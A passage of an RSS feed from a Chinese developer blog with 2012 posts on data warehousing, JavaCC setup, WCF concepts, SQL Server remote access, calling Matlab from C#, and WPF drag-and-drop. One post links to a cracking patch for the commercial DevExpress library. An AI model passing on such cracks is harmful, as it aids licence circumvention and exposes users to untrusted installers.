&lt;p&gt;　　《Building the Data Warehouse》的作者William Inmon认为数据仓库必须具有面对主题，整合性，时间转化，不易变化四个特性。&lt;/p&gt;
&lt;p&gt;　　联机分析简单来说就是能让用户根据本身决策需求来浏览数据。动态且实时的产生其所需的报表，以提高分析效率的技术。事实上，他除了能提供在线实时数据分析模块外，更重要的是能展示多维度的数据。&lt;/p&gt;
&lt;p&gt;　　商务智能的另一项重要技术：数据挖掘：是指在大量数据库中寻找有意义或是有价值的信息的过程。通过机器学习技术或是统计分析方法论。根据整合的数据加以分析探索，发掘出隐含在数据中的特性。通过专业领域知识整合及分析。从中找出合理且有用的信息，经过相关部门针对该模型的评估后，再提供给相关决策单位加以运用。&lt;/p&gt;
&lt;p&gt;　　企业间的竞争模式，从传统的“红海策略”，即采取压低成本与价格的杀价流血竞争。到近来倡导以创新为核心竞争力的“蓝海策略”，不论哪一种策略模式，都是不断地从研发，制造，营销，客服或资源配置等运营的相关问题上。寻求问题的发生原因，并尝试找出解决方案，而运营阶段中，陆续积累的庞大数据，往往就是答案的隐身之处。这也是数据挖掘的目的。&lt;/p&gt;
&lt;p&gt;　　数据库仓库强大而实用，但有一个局限性。就是他实质上反映的过去的历史，由于数据仓库经常在特定周期或时间点进行加载和处理。因此他只是表示一个时间点上的快照。即使构建了实时或是近似实时的数据仓库，其数据仍然只表示当前和历史的数据。无法达到预测的需要。与传统的统计分析方法不同的是，数据挖掘不是让人提出假设。然后据此去找相关数据。而是让数据仓库确定数据相关性。并允许采用与以往不同的模式对数据进行分析。&lt;/p&gt;</description>
    </item>
    <item>
      <title>Eclipse安装JavaCC</title>
      <link>http://blog.leaver.me/2012/09/17/eclipse%E5%AE%89%E8%A3%85javacc/</link>
      <pubDate>Mon, 17 Sep 2012 18:26:35 +0000</pubDate>
      <guid>http://blog.leaver.me/2012/09/17/eclipse%E5%AE%89%E8%A3%85javacc/</guid>
      <description>&lt;p&gt;　　今年的编译原理课程上机实践是讲这个的。。要求用JavaCC来做一个简单的解释器。今天总算是有点时间找找文档先把这个安装了。安装过程很简单。。&lt;/p&gt;
&lt;p&gt;　　1.希望你已经安装了Eclipse。。。&lt;/p&gt;
&lt;p&gt;　　2.去&lt;a href=&#34;http://sourceforge.net/projects/eclipse-javacc/&#34;&gt;sourceforge&lt;/a&gt;该项目主页下载javaCC压缩包&lt;/p&gt;
&lt;p&gt;　　3.下载完成后解压到你的Eclipse根目录。会提示覆盖plugins和features。直接覆盖即可。&lt;/p&gt;
&lt;p&gt;　　4.测试一下是否成功。具体步骤就是，打开eclipse，新建一个空java项目。然后对着项目点击右键new-&amp;gt;other-&amp;gt;javaCC-&amp;gt;javaCC template file。然后选择命名空间。包名。和文件名就可以了。这个地方的什么的是由你建立的java项目决定的。所以你可以先把java项目设置好，然后直接选就可以了。。&lt;/p&gt;
&lt;p&gt;　　5.点击运行。选择java application。控制台输出　　
　　&lt;pre class=&#34;lang:java decode:true &#34; &gt;Reading from standard input&amp;hellip;　　
　　Enter an expression like &amp;ldquo;1+(2+3)*4;&amp;rdquo;:&lt;/pre&gt;&lt;/p&gt;
&lt;p&gt;　　完成。。。&lt;/p&gt;
&lt;p&gt;Update:其实吧。这里安装的是JavaCC的插件。但是已经可以进行开发了。可能你需要一个例子来开始。或者你不喜欢eclipse。那么去&lt;a href=&#34;http://javacc.java.net&#34;&gt;JavaCC&lt;/a&gt;的项目下载你喜欢的即可。我下的是javacc-5.0.zip 里面有例子。可以参考。&lt;/p&gt;</description>
    </item>
    <item>
      <title>通过Windows应用进行服务寄宿示例代码</title>
      <link>http://blog.leaver.me/2012/09/09/%E9%80%9A%E8%BF%87windows%E5%BA%94%E7%94%A8%E8%BF%9B%E8%A1%8C%E6%9C%8D%E5%8A%A1%E5%AF%84%E5%AE%BF%E7%A4%BA%E4%BE%8B%E4%BB%A3%E7%A0%81/</link>
      <pubDate>Sun, 09 Sep 2012 19:28:44 +0000</pubDate>
      <guid>http://blog.leaver.me/2012/09/09/%E9%80%9A%E8%BF%87windows%E5%BA%94%E7%94%A8%E8%BF%9B%E8%A1%8C%E6%9C%8D%E5%8A%A1%E5%AF%84%E5%AE%BF%E7%A4%BA%E4%BE%8B%E4%BB%A3%E7%A0%81/</guid>
      <description>&lt;p&gt;此程序部分源码来自《WCF技术剖析》。。但是。这本书上讲的非常不清楚。有些很小的地方没讲。。导致出现很多问题。。。比如ListView需要先添加列。默认的config需要删除。等等。。&lt;/p&gt;
&lt;p&gt;最终是成功了。
&lt;a href=&#34;http://leaverimage.b0.upaiyun.com/26808_o.jpg&#34;&gt;&lt;img loading=&#34;lazy&#34; src=&#34;http://blog.leaver.me/images/7390df89e6e155098b41900c68b850b956f79a4d.jpg&#34; title=&#34;wCf&#34;&gt;&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;源码下载：&lt;a href=&#34;http://dl.vmall.com/c0d8askuak&#34;&gt;Lazy.FormDemo&lt;/a&gt;&lt;/p&gt;</description>
    </item>
    <item>
      <title>WCF读书笔记(4)</title>
      <link>http://blog.leaver.me/2012/09/09/wcf%E8%AF%BB%E4%B9%A6%E7%AC%94%E8%AE%B04/</link>
      <pubDate>Sun, 09 Sep 2012 09:06:33 +0000</pubDate>
      <guid>http://blog.leaver.me/2012/09/09/wcf%E8%AF%BB%E4%B9%A6%E7%AC%94%E8%AE%B04/</guid>
      <description>&lt;p&gt;&lt;strong&gt;三种供客户端和服务端控制通信的契约介绍：&lt;/strong&gt;
1.服务契约描述了由特定服务端点所公开的操作，每一种操作，通过参数和返回值定义请求和响应消息的格式。
2.数据契约描述了复杂类型如何被串行化为消息的一部分，数据契约是服务契约中优先用来包含复杂类型的方式。
3.消息契约提供对某个soap消息格式的控制，包括支持定制消息标题和数据契约所描述的单个消息体元素。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;消息参数（Message Parameter）&lt;/strong&gt;
对于&lt;/p&gt;
&lt;pre class=&#34;lang:c# decode:true &#34; &gt;[OperationContract]
string MyOp(string s);
&lt;/pre&gt; 
&lt;p&gt;若客户端传入的参数为“Hello”，则生成的请求消息体中标记为&lt;s&gt; Hello&lt;/s&gt;,而响应返回的消息体则被标记为&lt;NewOpResult&gt;返回内容&lt;/NewOpResult&gt;,可以通过&lt;/p&gt;
&lt;pre class=&#34;lang:default decode:true &#34; &gt;[OperationContract]
[return:MessageParameter(Name=&#34;ResponseString&#34;]
string MyOp([MessageParameter(Name=&#34;RequestString&#34;)] string s);&lt;/pre&gt; 
&lt;p&gt;来定制消息中的标签。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;绑定元素&lt;/strong&gt;
实际上，每个绑定元素都会被映射到一个信道上，这样，绑定元素和信道在这个意义上可以互换。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;执行上下文（OperationContext）&lt;/strong&gt;
是System.ServiceModel命名空间的一种类型，他为服务请求提供了对执行上下文的访问，OperationContext.Current为请求在生命周期期间提供了对上下文的访问。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;WCF的实例化模式&lt;/strong&gt;
实例化控制模式服务对象被分配给请求的方式，一旦服务主机已经建立而且为每个端点创建了信道监听器，对各终端的请求已经由适当的服务对象所执行，则这些对象是基于服务类型的实例化模式的。他们是InstanceContextMode的一个枚举。
1.PerCall 服务对象为每一个对服务的调用所创建。
2.PerSession 对每一个客户端创建一个。默认是这样
3.Single 创建单一的服务对象。并由所有客户端的调用使用。
尽可能使用PerCall，大规模的部署避免PerSession并发。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;WCF的四种会话&lt;/strong&gt;
应用会话，传输会话，可靠会话，安全会话。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;信道发生器取得SessionId&lt;/strong&gt;&lt;/p&gt;
&lt;pre class=&#34;lang:c# decode:true &#34; &gt;ChannelFactory&amp;lt;IService&amp;gt; factory=new ChannelFactory&amp;lt;IService&amp;gt;(&#34;Service&#34;);
IService proxy=factory.CreateChannel();
IContextChannel obj=proxy as IContextChannel;
string s=obj.SessionId;&lt;/pre&gt;</description>
    </item>
    <item>
      <title>WCF读书笔记(3)</title>
      <link>http://blog.leaver.me/2012/09/08/wcf%E8%AF%BB%E4%B9%A6%E7%AC%94%E8%AE%B03/</link>
      <pubDate>Sat, 08 Sep 2012 08:07:37 +0000</pubDate>
      <guid>http://blog.leaver.me/2012/09/08/wcf%E8%AF%BB%E4%B9%A6%E7%AC%94%E8%AE%B03/</guid>
      <description>&lt;p&gt;&lt;strong&gt;WCF的四大行为&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;　　契约行为（Contract Behavior），操作行为（Operation Behavior），服务行为（Service Behavior），终结点行为（Endpoint Behavior）。&lt;/p&gt;
&lt;p&gt;　　如果把WCF看做是消息处理，对象激活与操作执行的管道，那么我们可以通过相应的行为来改变这个管道中某个环节的工作方式。比如加个密啊。什么的。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;单向模式（One-Way）&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;　　单向模式不需要服务器执行后返回一个回复，多用于不要求服务执行后返回一个回复，并且能够容忍日志记录的失败，只有返回类型为void的才允许设置为true，同理，ref和out参数作为另一种类型的输出。也是不允许的。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;WCF的三种异步操作&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;　　1.异步信道调用：客户端可以通过代理对象进行异步调用信道。&lt;/p&gt;
&lt;p&gt;　　2.One-Way消息交换：单向的消息交换一旦抵达传输层，马上返回，从而实现异步&lt;/p&gt;
&lt;p&gt;　　3.异步服务实现：服务端在具体实现服务操作的时候。采用异步调用的方式。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;序列化：&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;　　XMLSerializer序列化对象时，必须是公有，可读可写的属性，才能序列化。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;WCF的四大契约&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;　　服务契约（Service Contract），数据契约（Data Contract），消息契约（Message Contract），错误契约（Fault Contract）&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;信道：&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;　　信道是为了便利WCF中客户端和服务的通信来设置的。ServiceHost为每个断点创建一个信道侦听器，侦听器产生通信通道，代理则产生一个信道发生器，发生器产生客户端的信道，两种信道相互兼容并且能有效处理之间的信息。&lt;/p&gt;
&lt;p&gt;　　实际上，通信信道是有一个分层的信道栈组成-栈中的每一个信道都在消息处理过程中负责实施一个特定动作，信道栈包含一个传输信道，一个消息编码信道，和任意数量的消息处理信道，绑定则将决定了哪些信道留在信道栈中。当行为穿过信道栈时，消息处理方式将会有所改变。。&lt;/p&gt;</description>
    </item>
    <item>
      <title>WCF双工通信示例</title>
      <link>http://blog.leaver.me/2012/09/07/wcf%E5%8F%8C%E5%B7%A5%E9%80%9A%E4%BF%A1%E7%A4%BA%E4%BE%8B/</link>
      <pubDate>Fri, 07 Sep 2012 22:22:30 +0000</pubDate>
      <guid>http://blog.leaver.me/2012/09/07/wcf%E5%8F%8C%E5%B7%A5%E9%80%9A%E4%BF%A1%E7%A4%BA%E4%BE%8B/</guid>
      <description>&lt;p&gt;　　这两天在看WCF的书籍。就参考书上的代码写了这个例子。不得不说。书上有些错误的地方。。运行明显报错。改了一下。顺利通过。&lt;/p&gt;
&lt;p&gt;　　先运行Hosting。然后运行Client。可以看到效果。不过不知道为什么会有如下的一个提示：&lt;/p&gt;
&lt;p&gt;　　目标程序集不包含服务类型。可能需要调整此程序集的代码访问安全策略。&lt;/p&gt;
&lt;p&gt;　　点击确定后并不影响程序运行。。但是也是个问题。。找了一下解决方法。都没有解决。。可能是我新建契约服务的时候，删掉了默认的IService配置。&lt;/p&gt;
&lt;p&gt;//update:此问题解决了。是因为默认的app.config太多。对于典型的四层结构。需要删除契约和服务中的app.config。。&lt;/p&gt;
&lt;p&gt;　　暂时先放着吧。&lt;/p&gt;
&lt;p&gt;　　运行截图：&lt;/p&gt;
&lt;p&gt;　　&lt;a href=&#34;http://leaverimage.b0.upaiyun.com/26775_o.jpg&#34;&gt;&lt;img loading=&#34;lazy&#34; src=&#34;http://blog.leaver.me/images/35cc6b919f9d513bf612503ffcac5b3448f20f37.jpg&#34; title=&#34;wcfExample&#34;&gt;&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;　　示例代码下载：&lt;a href=&#34;http://dl.vmall.com/c0c44hq61p&#34;&gt;Lazy.Duplex&lt;/a&gt;&lt;/p&gt;</description>
    </item>
    <item>
      <title>WCF读书笔记(2)</title>
      <link>http://blog.leaver.me/2012/09/06/wcf%E8%AF%BB%E4%B9%A6%E7%AC%94%E8%AE%B02/</link>
      <pubDate>Thu, 06 Sep 2012 22:09:48 +0000</pubDate>
      <guid>http://blog.leaver.me/2012/09/06/wcf%E8%AF%BB%E4%B9%A6%E7%AC%94%E8%AE%B02/</guid>
      <description>&lt;p&gt;&lt;strong&gt;信道形状（Channel Shape）&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;　　用来表述不同的消息交换模式对消息交换双方信道（信息交换的管道）的不同要求，有什么IOutputChannel IReplyChannel IDuplexChannel之类的。。&lt;/p&gt;
&lt;p&gt;　　对于IReplyChannel，服务器返回一个RequestContext类型，作为请求和回复之间的一道桥梁，可以获取也可以返回消息。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;会话信道（Session Channel）&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;　　从状态保持的角度，信道可以分为两种类型，Datagram Channel和Session Channel，前者不和客户端绑定，后者可以识别客户端。&lt;/p&gt;
&lt;p&gt;　　对于WCF的信道层来说，信道管理器在客户端和服务端扮演不同的角色。服务端的信道管理器用于监听来自客户端的请求，而客户端的信道仅仅是单纯创建用于请求发送和回复接收的信道，因此服务端的消息管理器又称为信道监听器（Channel Listener），客户端的信道管理器则称之为信道工厂（Channel Factory）&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;绑定元素（Binding Element）&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;　　构成一个绑定对象的元素，绑定实现了通信的所有细节，通过创建信道栈实现对消息的交换，系统绑定是指服务于某种类型场景的绑定元素的有序集合。 包括什么BaseHttpBinding之类的。&lt;/p&gt;
&lt;p&gt;　　&lt;strong&gt;一个程序集&lt;/strong&gt;包括元数据，中间语言代码，和资源。程序集已经加载，将一直保存在内存中，直到应用程序域卸载。最好摒弃添加服务引用的服务调用方式，而是直接将包含服务契约的程序集部署到客户端。客户端以直接创建代理的方式进行调用。&lt;/p&gt;
&lt;p&gt;　　WCF可以看成是适配器，是CLR类型和XML两个不同世界的纽带。&lt;/p&gt;
&lt;p&gt;　　&lt;strong&gt;依赖倒置原则&lt;/strong&gt;：即抽象不应该依赖细节，细节应该依赖于抽象；即要针对接口编程，不要对实现编程。高层模块不应该依赖低层模块。两个都应该依赖抽象。&lt;/p&gt;
&lt;p&gt;　　契约关心的是我能做到。而不在于我如何做到。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;封送（Marshaling）&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;　　解决跨应用程序域对象访问的问题，需要采用一种特别的机制，那就是封送。分为按值封送和按引用封送&lt;/p&gt;
&lt;p&gt;　　按值封送实现了跨应用程序域的数据共享&lt;/p&gt;
&lt;p&gt;　　按引用封送则实现了跨应用程序域的远程调用。&lt;/p&gt;
&lt;p&gt;　　如果一个程序员频繁的使用复制粘贴编程。那就意味着设计需要重构&lt;/p&gt;</description>
    </item>
    <item>
      <title>WCF读书笔记(1)</title>
      <link>http://blog.leaver.me/2012/09/05/wcf%E8%AF%BB%E4%B9%A6%E7%AC%94%E8%AE%B01/</link>
      <pubDate>Wed, 05 Sep 2012 19:29:14 +0000</pubDate>
      <guid>http://blog.leaver.me/2012/09/05/wcf%E8%AF%BB%E4%B9%A6%E7%AC%94%E8%AE%B01/</guid>
      <description>&lt;p&gt;&lt;strong&gt;信道的分类：Transport Channel 信道&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;　　1.Message Encording Channel　　
　　2.Protocol Channel&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;信道管理器（Channel Manager）,信道管理器用于信道栈的创建和生命周期的管理&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;　　1.ChannelListener　　
　　2.ChannelFactory&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;WCF服务调用的两种典型方式&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;　　1.是借助代码生成工具svcUtil.exe导入元数据生成客户端代码和配置，添加服务引用采用的就是这种方式，工具会创建一个继承自Client&lt;TChannel&gt;的服务代理类型。&lt;/p&gt;
&lt;p&gt;　　2.是通过ChannelFactory直接创建服务代理对象进行服务调用。&lt;/p&gt;
&lt;p&gt;　　如果客户端已经进行了终结点的配置&lt;/p&gt;
&lt;p&gt;　　那么通过信道工厂进行调用的代码大致如下：　&lt;/p&gt;
&lt;pre class=&#34;lang:c# decode:true &#34; &gt;using(Channel&amp;lt;IService&amp;gt; channelFactory=new ChannelFactory&amp;lt;IService&amp;gt;(&#34;Service&#34;))　　
{　　
　　IService ise=channelFactory.CreateChannel();　　
　　using(ise as IDisposable)　　
　　{
　    　ise.MethodName();
　　}　
}&lt;/pre&gt; 
&lt;p&gt;　　WCF处理的是跨应用程序域，跨机器，跨网络的通信，所以WCF大多数时间进行网络传俗这样的IO操作，IO绑定的操作是采用异步编程（APM【Asynchronous Programming Model】）&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;消息交换模式MEP（Message Exchange Pattern）&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;　　MEP定义了参与者进行消息交换的模板，代表一系列的模板，他们定了消息的发送者和接收者，相互进行消息传递的次序，比较典型的三种&lt;/p&gt;
&lt;p&gt;　　1.Datagram 数据包模式，嘴尖的SEND/FORGET模式也叫One-Way模式，基于从一个源到另一个或多个目的地的单向消息传输，并不期待回复&lt;/p&gt;
&lt;p&gt;　　消息报的发送可以分成三个模式，分别是单目的地模式，多投模式，广播模式。 依次接受方更强大。。&lt;/p&gt;
&lt;p&gt;　　2.Request/Reply模式&lt;/p&gt;
&lt;p&gt;　　使用最多的一种模式，请求期待回复。采用同步通信方式，但也可用于异步通信&lt;/p&gt;
&lt;p&gt;　　3.Duplex 双工模式&lt;/p&gt;
&lt;p&gt;　　双方可以互发消息，实现服务器回调客户端。订阅/发布是其中一种典型的实例，TCP可以提供原生的双工通信，WCF通过WSDualHttpBinding实现了基于Http的双工通信，实际上是采用两个HTTP通道实现&lt;/p&gt;</description>
    </item>
    <item>
      <title>超时时间已到，但是尚未从池中获取连接</title>
      <link>http://blog.leaver.me/2012/09/03/%E8%B6%85%E6%97%B6%E6%97%B6%E9%97%B4%E5%B7%B2%E5%88%B0%E4%BD%86%E6%98%AF%E5%B0%9A%E6%9C%AA%E4%BB%8E%E6%B1%A0%E4%B8%AD%E8%8E%B7%E5%8F%96%E8%BF%9E%E6%8E%A5/</link>
      <pubDate>Mon, 03 Sep 2012 08:47:31 +0000</pubDate>
      <guid>http://blog.leaver.me/2012/09/03/%E8%B6%85%E6%97%B6%E6%97%B6%E9%97%B4%E5%B7%B2%E5%88%B0%E4%BD%86%E6%98%AF%E5%B0%9A%E6%9C%AA%E4%BB%8E%E6%B1%A0%E4%B8%AD%E8%8E%B7%E5%8F%96%E8%BF%9E%E6%8E%A5/</guid>
      <description>&lt;p&gt;　　前段时间数据库的时候，出现这个问题。一般是读到20多万条的时候。会出现这个问题。&lt;/p&gt;
&lt;p&gt;　　找了一下。主要是这两个问题：&lt;/p&gt;
&lt;p&gt;　　一、看所有open的连接是否都close了。&lt;/p&gt;
&lt;p&gt;　　二、如果访问量很大，加上Max   Pool   Size=512这一句，当然这是要以损失系统性能为代价的！&lt;/p&gt;
&lt;p&gt;　　我查了一下。数据库连接所有的open都关闭了。 max pool size也确实加上了。但是。问题依旧。。&lt;/p&gt;
&lt;p&gt;　　哦，还有的说在数据库连接字串中添加Connect Timeout=500，也就是设置连接超时更长一些。问题依旧。。&lt;/p&gt;
&lt;p&gt;　　后来看到一篇文章中说：&lt;/p&gt;
&lt;p&gt;　　DataReader是独占连接 的，每个DataReader都要占用一个连接。当然这个情况是偶尔出现的，所以会很长时间出现一次，因为只有同时有超过连接池最大连接数量的并发操作才 会发生。而且你加大并发数量只能暂时缓解问题。&lt;/p&gt;
&lt;p&gt;　　文中建议用使用dataset来读取。然后我就把读取数据中使用DataReader的地方全部用DataAdapter和DataSet来获取数据库数据，因为DataSet非独占。会将数据保存在内存中，一次连接后释放，问题解决。&lt;/p&gt;
&lt;p&gt;　　记录一下。&lt;/p&gt;</description>
    </item>
    <item>
      <title>SqlServer 2008开启远程连接</title>
      <link>http://blog.leaver.me/2012/08/20/sqlserver-2008%E5%BC%80%E5%90%AF%E8%BF%9C%E7%A8%8B%E8%BF%9E%E6%8E%A5/</link>
      <pubDate>Mon, 20 Aug 2012 02:48:22 +0000</pubDate>
      <guid>http://blog.leaver.me/2012/08/20/sqlserver-2008%E5%BC%80%E5%90%AF%E8%BF%9C%E7%A8%8B%E8%BF%9E%E6%8E%A5/</guid>
      <description>&lt;p&gt;　　对于需要外部访问数据库的操作，需要开启sql server的远程连接。没经验的我等Google之。。大部分操作按照&lt;a href=&#34;http://jingyan.baidu.com/article/6c67b1d6ca06f02787bb1ed1.html/&#34;&gt;SQL Server 2008 R2如何开启数据库的远程连接&lt;/a&gt;来操作&lt;/p&gt;
&lt;p&gt;　　但是。有一些很小的细节需要注意。我的数据库是Sql Server 2008 Express版。这个是VS自带的。为了管理方便，可以安装&lt;a href=&#34;http://www.microsoft.com/zh-cn/download/details.aspx?id=7593&#34;&gt;SQL Server® 2008 Management Studio Express&lt;/a&gt; 安装过程不多说。安装完成后，直接打开&lt;/p&gt;
&lt;p&gt;　　&lt;a href=&#34;http://leaverimage.b0.upaiyun.com/26088_o.jpg&#34;&gt;&lt;img loading=&#34;lazy&#34; src=&#34;http://blog.leaver.me/images/e03ce8654db7fcc6eb18d317acd95e7e78f974e8.jpg&#34; title=&#34;login&#34;&gt;&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;　　服务器名称默认是空的。。“.”好像是不行的，这时候点击右边箭头。更多，本地和远程服务器。在远程服务器里可以找到。点击就可以了。&lt;/p&gt;
&lt;p&gt;　　我按照文章改完。sa还是登不上。。然后又试了一些&lt;/p&gt;
&lt;p&gt;　　&lt;a href=&#34;http://leaverimage.b0.upaiyun.com/26089_o.jpg&#34;&gt;&lt;img loading=&#34;lazy&#34; src=&#34;http://blog.leaver.me/images/245e1caa369d6d4473c100bb48e6bcb069793727.jpg&#34; title=&#34;role&#34;&gt;&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;　　如上图右键sa，属性，常规里设置sa密码。不要太简单。状态里的登录选项设为启用。ok。。我碰上的问题就这几个。&lt;/p&gt;</description>
    </item>
    <item>
      <title>C#调用Matlab引擎</title>
      <link>http://blog.leaver.me/2012/08/09/c%23%E8%B0%83%E7%94%A8matlab%E5%BC%95%E6%93%8E/</link>
      <pubDate>Thu, 09 Aug 2012 22:39:57 +0000</pubDate>
      <guid>http://blog.leaver.me/2012/08/09/c%23%E8%B0%83%E7%94%A8matlab%E5%BC%95%E6%93%8E/</guid>
      <description>&lt;p&gt;　　最近在使用matlab的时候。求多元函数取得最小值的时候。变量的值。于是就用到了sym符号。结果在C#中调用时总是出错。后来Google了N久发现是符号工具箱是无法编译的。。后来找到了替代方法。就是调用matlab 引擎。当然要稍微麻烦一点。因为调用引擎这种方法参数传递比较麻烦。我只想到了通过C#把需要计算的值保存到文本中。然后matlab中load进来。计算完成后 save出去。。&lt;/p&gt;
&lt;p&gt;　　调用matlab引擎类似于在C#中新开了一个进程。然后执行一些命令。之前需要引用Matlab Application Type Library。这是个com组件&lt;/p&gt;
&lt;p&gt;&lt;a href=&#34;http://leaverimage.b0.upaiyun.com/25657_o.jpg&#34;&gt;&lt;img loading=&#34;lazy&#34; src=&#34;http://blog.leaver.me/images/b938768405ede59db17f36bdc27e700bf3cbf1dc.jpg&#34; title=&#34;type&#34;&gt;&lt;/a&gt;
然后在程序里使用 using语句&lt;/p&gt;
&lt;pre class=&#34;lang:c# decode:true &#34; &gt;using MLApp;&lt;/pre&gt; 
&lt;p&gt;然后就可以正常使用了。使用我试过的有两种方法&lt;/p&gt;
&lt;pre class=&#34;lang:default decode:true &#34; &gt;MLApp.MLAppClass matlab = new MLApp.MLAppClass();  
matlab.Visible = 1;  
string command=&#34;figure(1)&#34;;
matlab.Execute(command);  
matlab.Quit();&lt;/pre&gt; 
&lt;p&gt;很简单。Visible设置可见性。。command表示要执行的命令。&lt;/p&gt;
&lt;p&gt;另一种是&lt;/p&gt;
&lt;pre class=&#34;lang:c# decode:true &#34; &gt;MLApp.DIMLApp matlab = null;  
Type matlabAppType = System.Type.GetTypeFromProgID(&#34;Matlab.Application&#34;);  
matlab = System.Activator.CreateInstance(matlabAppType) as MLApp.DIMLApp;  
matlab.Visible = 1;  
string command=&#34;figure(2)&#34;;
matlab.Execute(command);  
matlab.Quit();&lt;/pre&gt; 
&lt;p&gt;不知什么原因，第一种方法我没有调用成功。第二种调用成功。欢迎讨论。&lt;/p&gt;</description>
    </item>
    <item>
      <title>WPF实现控件拖动效果</title>
      <link>http://blog.leaver.me/2012/07/27/wpf%E5%AE%9E%E7%8E%B0%E6%8E%A7%E4%BB%B6%E6%8B%96%E5%8A%A8%E6%95%88%E6%9E%9C/</link>
      <pubDate>Fri, 27 Jul 2012 07:18:40 +0000</pubDate>
      <guid>http://blog.leaver.me/2012/07/27/wpf%E5%AE%9E%E7%8E%B0%E6%8E%A7%E4%BB%B6%E6%8B%96%E5%8A%A8%E6%95%88%E6%9E%9C/</guid>
      <description>&lt;p&gt;首先很简单，当然是去添加两个控件了，这里我添加了两个控件，都是label，然后我想实现的是将label1拖动到label2上的时候，label1的内容会被复制到label2上。&lt;/p&gt;
&lt;pre class=&#34;lang:c# decode:true &#34; &gt; &amp;lt;Label Content=&#34;TestDrop&#34; 
Height =&#34;28&#34; HorizontalAlignment=&#34;Left&#34; Margin=&#34;70,35,0,0&#34; Name =&#34;label1&#34; 
VerticalAlignment=&#34;Top&#34; MouseDown=&#34;label1_MouseDown&#34;  /&amp;gt;

&amp;lt;Label Content =&#34;ToHere&#34; Height=&#34;28&#34; HorizontalAlignment=&#34;Left&#34; 
Margin =&#34;342,107,0,0&#34; Name=&#34;label2&#34; VerticalAlignment=&#34;Top&#34; AllowDrop =&#34;True&#34;
 Drop=&#34;tagert_drop&#34;   /&amp;gt;&lt;/pre&gt; 
&lt;p&gt;需要注意的代码是label1中的MouseDown事件。和label2中的AllowDrop =&amp;ldquo;True&amp;rdquo;  Drop=&amp;ldquo;tagert_drop&amp;rdquo;&lt;/p&gt;
&lt;p&gt;然后对应的处理事件&lt;/p&gt;
&lt;pre class=&#34;lang:c# decode:true &#34; &gt;     private void label1_MouseDown(object sender, MouseButtonEventArgs e)
        {
            Label lbl = (Label )sender;
            DragDrop.DoDragDrop(lbl, lbl.Content, DragDropEffects .Copy);
        }

        private void tagert_drop(object sender, DragEventArgs e)
        {
            (( Label)sender).Content = e.Data.GetData(DataFormats.Text);
        }&lt;/pre&gt; 
&lt;p&gt;其他的效果可以仿照这个来做。比如拖动以后的效果可以DragDropEffects来设置。。&lt;/p&gt;</description>
    </item>
    <item>
      <title>DevExpress DXperience Universal 12.1.5 破解补丁</title>
      <link>http://blog.leaver.me/2012/07/21/devexpress-dxperience-universal-12.1.5-%E7%A0%B4%E8%A7%A3%E8%A1%A5%E4%B8%81/</link>
      <pubDate>Sat, 21 Jul 2012 12:08:08 +0000</pubDate>
      <guid>http://blog.leaver.me/2012/07/21/devexpress-dxperience-universal-12.1.5-%E7%A0%B4%E8%A7%A3%E8%A1%A5%E4%B8%81/</guid>
      <description>&lt;p&gt;　　因为要用到wpf开发软件，而作为一个审美能力和制作美的能力完全不匹配的人。。需要有一个基本的主题框架来作为基础进行开发。。于是我找了找。。刚开始找的是http://www.telerik.com/这个商业库，不过这个用的不太顺手，于是还是试试DevExpress，，果断很不错，找到了破解补丁。
给一个官方的Demo示例图：
&lt;a href=&#34;http://leaverimage.b0.upaiyun.com/25025_o.jpg&#34;&gt;&lt;img loading=&#34;lazy&#34; src=&#34;http://blog.leaver.me/images/5de045da9ce167999bd9e8df93580d0c93579daf.jpg&#34; title=&#34;Demo&#34;&gt;&lt;/a&gt;
安装文件：&lt;a href=&#34;http://downloads.devexpress.com/d0577ccc-5137-4622-b397-a128d153f2aa/0.0.0.0/DXperience/2012.1/5/DXperience-12.1.5.exe&#34;&gt;DXperience-12.1.5安装包&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;帮助文档：&lt;a href=&#34;http://downloads.devexpress.com/24614371-d026-41ab-89c8-b2c3769f9059/0.0.0.0/DXperience/2012.1/Help/DXperienceHelp2010-12.1.5.exe&#34;&gt;DXperience 12.1.5 Universal 帮助文档&lt;/a&gt;：&lt;/p&gt;
&lt;p&gt;破解补丁：&lt;a href=&#34;http://pan.baidu.com/share/link?shareid=34831&amp;amp;uk=1493685990&#34;&gt;DevExpress.Registration.Setup.v12.1.5.E3.msi&lt;/a&gt;&lt;/p&gt;</description>
    </item>
    <item>
      <title>未能加载文件或程序集“App_Web_xxxx”</title>
      <link>http://blog.leaver.me/2012/07/14/%E6%9C%AA%E8%83%BD%E5%8A%A0%E8%BD%BD%E6%96%87%E4%BB%B6%E6%88%96%E7%A8%8B%E5%BA%8F%E9%9B%86app_web_xxxx/</link>
      <pubDate>Sat, 14 Jul 2012 23:18:13 +0000</pubDate>
